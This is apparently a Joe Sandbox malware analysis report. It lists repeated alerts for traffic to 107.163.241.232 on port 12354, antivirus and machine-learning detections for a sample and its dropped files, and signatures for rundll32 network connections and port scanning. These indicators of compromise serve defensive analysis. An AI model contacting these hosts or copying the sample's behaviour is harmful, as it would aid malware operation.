2024-12-11T16:27:27.709483+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	60988	107.163.241.232	12354	TCP
2024-12-11T16:27:29.948321+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	61933	107.163.241.232	12354	TCP
2024-12-11T16:27:30.068866+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	62016	107.163.241.232	12354	TCP
2024-12-11T16:27:31.725182+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	63160	107.163.241.232	12354	TCP
2024-12-11T16:27:31.725389+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	63243	107.163.241.232	12354	TCP
2024-12-11T16:27:33.955987+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	64727	107.163.241.232	12354	TCP
2024-12-11T16:27:34.065381+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	64804	107.163.241.232	12354	TCP
2024-12-11T16:27:35.735136+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50179	107.163.241.232	12354	TCP
2024-12-11T16:27:35.735335+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50311	107.163.241.232	12354	TCP
2024-12-11T16:27:38.060487+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51399	107.163.241.232	12354	TCP
2024-12-11T16:27:38.114825+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51452	107.163.241.232	12354	TCP
2024-12-11T16:27:39.755635+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	53200	107.163.241.232	12354	TCP
2024-12-11T16:27:39.755709+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	53086	107.163.241.232	12354	TCP
2024-12-11T16:27:42.023606+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	54842	107.163.241.232	12354	TCP
2024-12-11T16:27:42.113048+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	54905	107.163.241.232	12354	TCP
2024-12-11T16:27:43.775989+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	56792	107.163.241.232	12354	TCP
2024-12-11T16:27:43.776027+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	56888	107.163.241.232	12354	TCP
2024-12-11T16:27:46.021747+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	58184	107.163.241.232	12354	TCP
2024-12-11T16:27:46.221949+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	58207	107.163.241.232	12354	TCP
2024-12-11T16:27:47.969712+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	59031	107.163.241.232	12354	TCP
2024-12-11T16:27:47.969733+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	59076	107.163.241.232	12354	TCP
2024-12-11T16:27:50.206254+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	59530	107.163.241.232	12354	TCP
2024-12-11T16:27:50.409397+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	59568	107.163.241.232	12354	TCP
2024-12-11T16:27:52.098123+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	61638	107.163.241.232	12354	TCP
2024-12-11T16:27:52.098515+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	61476	107.163.241.232	12354	TCP
2024-12-11T16:27:54.406473+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	63134	107.163.241.232	12354	TCP
2024-12-11T16:27:54.457410+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	63230	107.163.241.232	12354	TCP
2024-12-11T16:27:56.099697+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	65137	107.163.241.232	12354	TCP
2024-12-11T16:27:56.099720+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	65078	107.163.241.232	12354	TCP
2024-12-11T16:27:58.331066+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50319	107.163.241.232	12354	TCP
2024-12-11T16:27:58.471805+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50388	107.163.241.232	12354	TCP
2024-12-11T16:28:00.268228+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51800	107.163.241.232	12354	TCP
2024-12-11T16:28:00.268319+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51750	107.163.241.232	12354	TCP
2024-12-11T16:28:02.511852+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	53356	107.163.241.232	12354	TCP
2024-12-11T16:28:02.648457+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	53424	107.163.241.232	12354	TCP
2024-12-11T16:28:04.396634+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	54705	107.163.241.232	12354	TCP
2024-12-11T16:28:04.396716+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	54703	107.163.241.232	12354	TCP
2024-12-11T16:28:06.628511+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	56040	107.163.241.232	12354	TCP
2024-12-11T16:28:06.754101+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	56089	107.163.241.232	12354	TCP
2024-12-11T16:28:08.414103+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	57995	107.163.241.232	12354	TCP
2024-12-11T16:28:08.414652+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	58104	107.163.241.232	12354	TCP
2024-12-11T16:28:10.644257+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	58925	107.163.241.232	12354	TCP
2024-12-11T16:28:10.769323+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	59001	107.163.241.232	12354	TCP
2024-12-11T16:28:12.433329+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	60708	107.163.241.232	12354	TCP
2024-12-11T16:28:12.433430+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	60602	107.163.241.232	12354	TCP
2024-12-11T16:28:14.680114+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	62276	107.163.241.232	12354	TCP
2024-12-11T16:28:14.780537+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	62337	107.163.241.232	12354	TCP
2024-12-11T16:28:16.443583+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	64138	107.163.241.232	12354	TCP
2024-12-11T16:28:16.443708+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	64191	107.163.241.232	12354	TCP
2024-12-11T16:28:18.691668+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49432	107.163.241.232	12354	TCP
2024-12-11T16:28:18.800479+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49507	107.163.241.232	12354	TCP
2024-12-11T16:28:20.458901+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50935	107.163.241.232	12354	TCP
2024-12-11T16:28:20.458949+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51052	107.163.241.232	12354	TCP
2024-12-11T16:28:22.829994+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	52734	107.163.241.232	12354	TCP
2024-12-11T16:28:22.831841+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	52733	107.163.241.232	12354	TCP
2024-12-11T16:28:24.584153+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	54680	107.163.241.232	12354	TCP
2024-12-11T16:28:24.584153+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	54699	107.163.241.232	12354	TCP
2024-12-11T16:28:26.832123+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	55365	107.163.241.232	12354	TCP
2024-12-11T16:28:26.958857+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	55462	107.163.241.232	12354	TCP
2024-12-11T16:28:28.735890+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	56724	107.163.241.232	12354	TCP
2024-12-11T16:28:28.736067+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	56639	107.163.241.232	12354	TCP
2024-12-11T16:28:30.972294+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	58030	107.163.241.232	12354	TCP
2024-12-11T16:28:32.253363+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	58181	107.163.241.232	12354	TCP
2024-12-11T16:28:32.902293+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	59628	107.163.241.232	12354	TCP
2024-12-11T16:28:32.902485+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	60644	107.163.241.232	12354	TCP
2024-12-11T16:28:35.145505+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	60694	107.163.241.232	12354	TCP
2024-12-11T16:28:36.939447+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	61642	107.163.241.232	12354	TCP
2024-12-11T16:28:36.939497+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	61444	107.163.241.232	12354	TCP
2024-12-11T16:28:39.738266+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	63056	107.163.241.232	12354	TCP
2024-12-11T16:28:40.272339+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	63243	107.163.241.232	12354	TCP
2024-12-11T16:28:41.365251+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	64903	107.163.241.232	12354	TCP
2024-12-11T16:28:41.365353+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	64915	107.163.241.232	12354	TCP
2024-12-11T16:28:43.597326+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49638	107.163.241.232	12354	TCP
2024-12-11T16:28:43.722869+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49731	107.163.241.232	12354	TCP
2024-12-11T16:28:45.381033+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51772	107.163.241.232	12354	TCP
2024-12-11T16:28:45.381062+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	52068	107.163.241.232	12354	TCP
2024-12-11T16:28:47.629181+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	52557	107.163.241.232	12354	TCP
2024-12-11T16:28:47.973164+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	52849	107.163.241.232	12354	TCP
2024-12-11T16:28:49.399847+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	54224	107.163.241.232	12354	TCP
2024-12-11T16:28:49.399883+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	54304	107.163.241.232	12354	TCP
2024-12-11T16:28:51.629570+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	55095	107.163.241.232	12354	TCP
2024-12-11T16:28:51.988597+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	55314	107.163.241.232	12354	TCP
2024-12-11T16:28:53.412651+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	56930	107.163.241.232	12354	TCP
2024-12-11T16:28:53.412893+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	57067	107.163.241.232	12354	TCP
2024-12-11T16:28:55.786715+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	58012	107.163.241.232	12354	TCP
2024-12-11T16:28:57.552254+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	59457	107.163.241.232	12354	TCP
2024-12-11T16:28:57.552537+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	60430	107.163.241.232	12354	TCP
2024-12-11T16:29:00.166198+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	61786	107.163.241.232	12354	TCP
2024-12-11T16:29:00.274373+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	61835	107.163.241.232	12354	TCP
2024-12-11T16:29:02.765825+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	63075	107.163.241.232	12354	TCP
2024-12-11T16:29:03.020306+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	63215	107.163.241.232	12354	TCP
2024-12-11T16:29:04.506219+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	65152	107.163.241.232	12354	TCP
2024-12-11T16:29:07.148279+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49314	107.163.241.232	12354	TCP
2024-12-11T16:29:07.523054+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49524	107.163.241.232	12354	TCP
2024-12-11T16:29:08.985229+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50540	107.163.241.232	12354	TCP
2024-12-11T16:29:08.985243+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	50787	107.163.241.232	12354	TCP
2024-12-11T16:29:11.418211+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51316	107.163.241.232	12354	TCP
2024-12-11T16:29:11.528258+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	51379	107.163.241.232	12354	TCP
2024-12-11T16:29:14.746944+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	52868	107.163.241.232	12354	TCP
2024-12-11T16:29:14.826754+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	52871	107.163.241.232	12354	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: nt11qTrX4f.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\wlbldvv.exe

Avira: detection malicious, Label: TR/Dropper.Gen

Multi AV Scanner detection for dropped file

Source: C:\xrzyhhhnk\uycmiha.dll

ReversingLabs: Detection: 92%

Multi AV Scanner detection for submitted file

Source: nt11qTrX4f.exe

ReversingLabs: Detection: 81%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\wlbldvv.exe	Joe Sandbox ML: detected
Source: C:\xrzyhhhnk\uycmiha.dll	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: nt11qTrX4f.exe

Joe Sandbox ML: detected

Source: nt11qTrX4f.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: C:\Windows\SysWOW64\rundll32.exe

File created: c:\xrzyhhhnk\ReadMe.txt

Jump to behavior

Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:50331 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:64611 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:51662 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:56209 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:58435 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:60663 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:62654 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:53024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:61296 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:64750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:51311 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:54695 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:60339 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:63694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:50750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:54436 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:56159 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:59749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:64201 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.5:53641 version: TLS 1.2

Source:	Binary string: \??\c:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\.\. source: rundll32.exe, 00000006.00000003.4260244286.0000000000997000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\c:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\. source: rundll32.exe, 00000006.00000003.2983769245.0000000000998000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984401135.0000000000998000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984524473.00000000009A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\Documents and Settings\user\Local Settings\Temp\Symbols\winload_prod.pdb\. source: rundll32.exe, 00000006.00000003.2983769245.0000000000998000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984401135.0000000000998000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984524473.00000000009A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\c:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\.* source: rundll32.exe, 00000006.00000003.2408879759.00000000058D5000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1000B0A0 lstrcpy,lstrcat,lstrcat,lstrcat,FindFirstFileA,FindNextFileA,rand,lstrcpy,lstrcat,lstrcat,_strcmpi,GetTickCount,srand,rand,rand,rand,rand,rand,rand,rand,rand,wsprintfA,wsprintfA,Sleep,wsprintfA,Sleep,strchr,strchr,strchr,strchr,atoi,DeleteFileA,Sleep,lstrcat,FindNextFileA,FindClose,		6_2_1000B0A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_100052A0 FindFirstFileA,wsprintfA,wsprintfA,FindNextFileA,FindClose,		6_2_100052A0

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 202.108.0.52 443			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 107.163.241.232 12354			Jump to behavior

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 107.163.241.232 ports 1,2,3,4,5,12354

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50135 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50137 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50167 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50192 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50239 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50246 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50268 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50299 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50304 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50337 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50340 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50371 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50412 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50415 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50447 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50452 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50497 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50502 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50536 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50539 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50590 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50594 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50640 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50644 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50708 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50714 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50772 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50776 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50841 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50851 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50945 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50952 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51063 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51069 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51154 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51166 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51291 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51301 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51401 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51414 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51533 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51548 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51639 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51649 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51772 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51788 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52165 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52286 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54230 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54505 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56345 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56391 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57204 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57387 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58099 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58179 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59753 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59835 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60912 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61004 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62581 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62583 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63454 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63492 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65033 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65127 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50256 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50430 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52169 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52266 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52676 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52682 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53560 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53566 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54654 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54806 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56588 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56590 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57783 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57847 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58774 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58950 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59714 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59730 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60988 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60990 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61933 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62016 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63160 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63243 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64727 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64804 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50179 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50311 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51399 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51452 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53086 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53200 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54842 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54905 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56792 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56888 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58184 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58207 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59031 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59076 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59530 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59568 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61476 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61638 -> 12354
